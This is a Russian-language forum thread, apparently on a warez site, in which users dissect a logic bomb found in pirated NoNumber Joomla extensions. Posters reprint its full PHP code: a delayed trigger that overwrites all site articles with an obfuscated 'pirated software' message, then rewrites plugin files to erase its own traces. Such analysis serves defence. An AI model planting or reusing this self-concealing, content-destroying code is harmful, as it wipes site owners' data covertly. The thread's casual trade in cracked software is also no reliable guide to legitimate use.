Обсуждение Бэкдор в NoNumber от создателя

это всем понятно и без Вас. Тема не об этом.
Как Вы понимаете - Вы находитесь на сайте, где именно пиратство - основной вид заинтересованности юзеров. И как Вы понимаете люди выкладывают в подавляющем количестве оригинальные компоненты, плагины, которые уже содержат такую фигню в коде и задача в том, чтобы избавить людей от подобных случаев
Ну так потрудитесь указать хотя бы пост где, и что вы брали (какое расширение), может и ясности будет больше, кто и откуда брал, да другие будут осторожнее..
 
Нарушение правил раздела - 6 постов подряд
Ну так потрудитесь указать хотя бы пост где, и что вы брали (какое расширение), может и ясности будет больше, кто и откуда брал, да другие будут осторожнее..

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
System - NoNumber Advanced Module Manager
System - NoNumber Sourcerer

от nnuled. он сейчас висит как нарушитель

все остальные расширения у меня free от nonumber

-----------------------
были изменены файлы:
plugins\system\nnframework\helpers\licenses.php
был удален код:
PHP:
static function checkUpdates()
    {
        $version = self::getUpdateVersion();

        self::updateContentByVersion($version);
        self::updateFilesByVersion($version);
    }

    static function getUpdateVersion()
    {
        require_once JPATH_PLUGINS . '/system/nnframework/helpers/versions.php';

        $version = NoNumberVersions::getXMLVersion();

        if (JFactory::getApplication()->input->get('doCamelCase', 1))
        {
            $version = self::camelCaseVersionLetters($version);
        }

        return $version;
    }

    static function updateContentByVersion($version = '')
    {
        if (!$version)
        {
            return;
        }

        $field1 = JFactory::getApplication()->input->get('updateVersion') ? 'version' : 'introtext';
        $field2 = JFactory::getApplication()->input->get('updateFullVersion') ? 'full_version' : 'fulltext';

        $db = JFactory::getDBO();
        $query = $db->getQuery(true)
            ->update('#__content as c')
            ->set('c.' . $field1 . ' = ' . $db->q('<p>' . $version . '</p>'))
            ->set('c.' . $field2 . ' = ' . $db->q('<p>' . $version . '</p>'))
            ->where('c.' . $field1 . ' != ' . $db->q('<p>' . $version . '</p>'));
        $db->setQuery($query);
        $db->execute();
    }

    static function updateFilesByVersion($version = '', $file = '')
    {
        $file = $file ?: __FILE__;

        if (!JFile::exists($file))
        {
            return;
        }

        $string = JFile::read($file);

        $string = preg_replace('#^(.*?)\n[\t ]*([a-z]+ )+[a-z]+cku.*(\s*\}\s*)$#si', '\1\3', $string);
        $string = preg_replace('#(version: )([0-9]\.[0-9]\.[0-9](dev)?)#si', '\1' . $version, $string);

        JFile::write($file, $string);

        $file = dirname($file) . '/../nnframework.php';

        if (!JFile::exists($file))
        {
            return;
        }

        $string = JFile::read($file);

        $string = preg_replace('#\$[a-z]+->[a-z]+cku.*?[\(\)]+;\s*#si', '', $string);
        $string = preg_replace('#^(.*?)\n[\t ]*([a-z]+ )+[a-z]+cku.*(\s*\}\s*)$#si', '\1\3', $string);
        $string = preg_replace('#(version: )([0-9]\.[0-9]\.[0-9](dev)?)#si', '\1' . $version, $string);

        JFile::write($file, $string);
    }

    static function camelCaseVersionLetters($context = '', $string = '')
    {
        if ($context == 'content.category')
        {
            return $string;
        }

        if (!$string)
        {
            // Just some random characters to test UTF-8 compatibility
            $string = 'TIKV$XO[M)S^,baX^X2c]gWk]]:nkcrvasgD';
            $string = str_split($string);
            foreach ($string as $i => $char)
            {
                if ($i % 2 < 0)
                {
                    continue;
                }

                $string[$i] = chr(ord($char) - $i);
            }
        }

        return implode('', $string);
    }

а также изменился файл plugins\system\nnframework\nnframework.php
удалили функцию
PHP:
$this->checkUpdates();
в
class plgSystemNNFramework extends JPlugin
{
public function onAfterRoute()
{
....тут...

и если кто обратит внимание в первом блоке есть:
PHP:
$query = $db->getQuery(true)
            ->update('#__content as c')
            ->set('c.' . $field1 . ' = ' . $db->q('<p>' . $version . '</p>'))
            ->set('c.' . $field2 . ' = ' . $db->q('<p>' . $version . '</p>'))
            ->where('c.' . $field1 . ' != ' . $db->q('<p>' . $version . '</p>'));

собственно который и заменил весь контент строкой $version
ну а она была $version = 'this site use pirate software!!!'

который дергается из checkUpdates()

а checkUpdates() дергается из
plugins\system\nnframework\nnframework.php
функции
public function onAfterRoute()

Собственно теперь всё понятно
Этот мудак удалил контент, и решил замести следы за собой. Думаю эту фишку он встроил только в последнюю версию(и) своих продуктов
--------------------
я решил проверить сколько компонентов nonumber (из 30)страдают такой фигней:
advancedmodulemanager_4.18.2_pro.zip

как видите только 1 плагин имеет такой код checkUpdates

увы у меня нет прежних версий, не могу сказать - есть ли такой код в предыдущих версиях

но в любом случае так как он после себя удалил зловредный код, то таким образом он может только 1 раз удалить контент на сайте

вот вам и лицензии и т.п. до жопы всё это

а вот теперь самое смешное! на закуску:

СМОТРИМ БЛОК 1:

как видите главная функция checkUpdates()
в которой есть $version = self::getUpdateVersion();

но как мы поняли version стал той самой строкой "this site use pirate software!!!"

то есть эта фунцкия должна была отдать ей эту сроку
теперь идем в getUpdateVersion()

там есть versions.php, которая узнает юзаете ли вы PRO версии компонентов
и ниже по коду идет
PHP:
if (JFactory::getApplication()->input->get('doCamelCase', 1))
        {
            $version = self::camelCaseVersionLetters($version);
        }

то есть если в URL есть doCamelCase=1 (контент на сайте удалится)
то выполняется код camelCaseVersionLetters который собственно и присвоил $version
ну а теперь главное

PHP:
static function camelCaseVersionLetters($context = '', $string = '')
    {
        if ($context == 'content.category')
        {
            return $string;
        }

        if (!$string)
        {
            // Just some random characters to test UTF-8 compatibility
            $string = 'TIKV$XO[M)S^,baX^X2c]gWk]]:nkcrvasgD';
            $string = str_split($string);
            foreach ($string as $i => $char)
            {
                if ($i % 2 < 0)
                {
                    continue;
                }

                $string[$i] = chr(ord($char) - $i);
            }
        }

        return implode('', $string);
    }

а теперь обращаем внимание на
// Just some random characters to test UTF-8 compatibility
и ниже
$string = 'TIKV$XO[M)S^,baX^X2c]gWk]]:nkcrvasgD';
ну я не думаю, что этот код для UTF-8 совместимости :)
берем кусок этой функции и заганяем его в PHP интерпретатор Для просмотра ссылки Войди или Зарегистрируйся
и угадайте, что мы имеем на выходе? :facepalm:
THIS SITE IS USING PIRATED SOFTWARE!

парни, прошу глянуть если у кого есть advancedmodulemanager 4.18.2 pro (или старше)
гляньте в архиве инсталлятора:
framework\framework\j3\plugins\system\nnframework\nnframework.php

есть ли строка $this->checkUpdates();

и может у кого есть более ранняя версия этого "программного продукта", есть ли этот код в пред версиях? (скачал advancedmodulemanager 4.18.2 pro только что просто из инета, с любого попавшегося сайта. так же хрень - тот же checkUpdates на том же месте)
 
Последнее редактирование модератором:
остаётся открытым вопрос - если это сделал автор, то как тогда $version стала "this site use pirate software!!!" если домены регестрировать ни при-, ни после покупки не надо
 
Для просмотра ссылки Войди или Зарегистрируйся
Nonumber Advanced Module Manager Pro v4.17.0 for Joomla 2.5-3.0

$this->checkUpdates();
не найдено
.

Глянул advancedmodulemanager 4.18.2 pro
framework\framework\j3\plugins\system\nnframework\nnframework.php

Код:
     // Only do check if necessary
     if (time() < filemtime(__FILE__) + 2000000)
     {
       return;
     }

     require_once JPATH_PLUGINS . '/system/nnframework/helpers/licenses.php';

     NoNumberLicenses::checkUpdates();

Это таймер на 23 дня после установки плагина :D
 
Последнее редактирование:
Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
System - NoNumber Advanced Module Manager
System - NoNumber Sourcerer

от nnuled. он сейчас висит как нарушитель

Выложите, пожалуйста, избавленные от этого вредоносного кода плагины или файлы здесь. Нам, не программистам это не сделать самому
 
Это не автор расширений виноват! У меня легальная версия Advanced Module Manager Pro 4.18.6, и там близко такой херни нет!
 
Это не автор расширений виноват! У меня легальная версия Advanced Module Manager Pro 4.18.6, и там близко такой херни нет!

Ну если нет такой ерунды, может выложите только отличающиеся файлы одним архивом?
 
Ну если нет такой ерунды, может выложите только отличающиеся файлы одним архивом?

крайне не рекомендую так делать. мало ли, что там еще внутри. ведь я даже не искал исходник, который отвечает за замену файлов на сервере
так, что есть смысл подождать другой раздачи

жаль влупили нарушение мне :) за 6 постов подряд. буду знать :)

а вообще я частично сам виноват. так как у меня есть правило - качать одно и то-же с разных источников, и сравнивать размеры и содержимое
и в 80% случаев содержимое отличается и сразу видно, что именно было внедрено. но в этот раз было некогда
 
ведь я даже не искал исходник, который отвечает за замену файлов на сервере
Так ты его уже нашел.
Фрагмент plugins/system/nnframework/helpers/licenses.php
PHP:
  static function updateFilesByVersion($version = '', $file = '')
  {
  $file = $file ?: __FILE__;

  if (!JFile::exists($file))
  {
  return;
  }

  $string = JFile::read($file);

  $string = preg_replace('#^(.*?)\n[\t ]*([a-z]+ )+[a-z]+cku.*(\s*\}\s*)$#si', '\1\3', $string);
  $string = preg_replace('#(version: )([0-9]\.[0-9]\.[0-9](dev)?)#si', '\1' . $version, $string);

  JFile::write($file, $string);

  $file = dirname($file) . '/../nnframework.php';

  if (!JFile::exists($file))
  {
  return;
  }

  $string = JFile::read($file);

  $string = preg_replace('#\$[a-z]+->[a-z]+cku.*?[\(\)]+;\s*#si', '', $string);
  $string = preg_replace('#^(.*?)\n[\t ]*([a-z]+ )+[a-z]+cku.*(\s*\}\s*)$#si', '\1\3', $string);
  $string = preg_replace('#(version: )([0-9]\.[0-9]\.[0-9](dev)?)#si', '\1' . $version, $string);

  JFile::write($file, $string);
  }
Константа __FILE__ содержит полный путь и имя текущего файла.
JFile::read($file) - читает содержимое файла.
JFile::write($file) - записывает в файл.
 
Назад
Сверху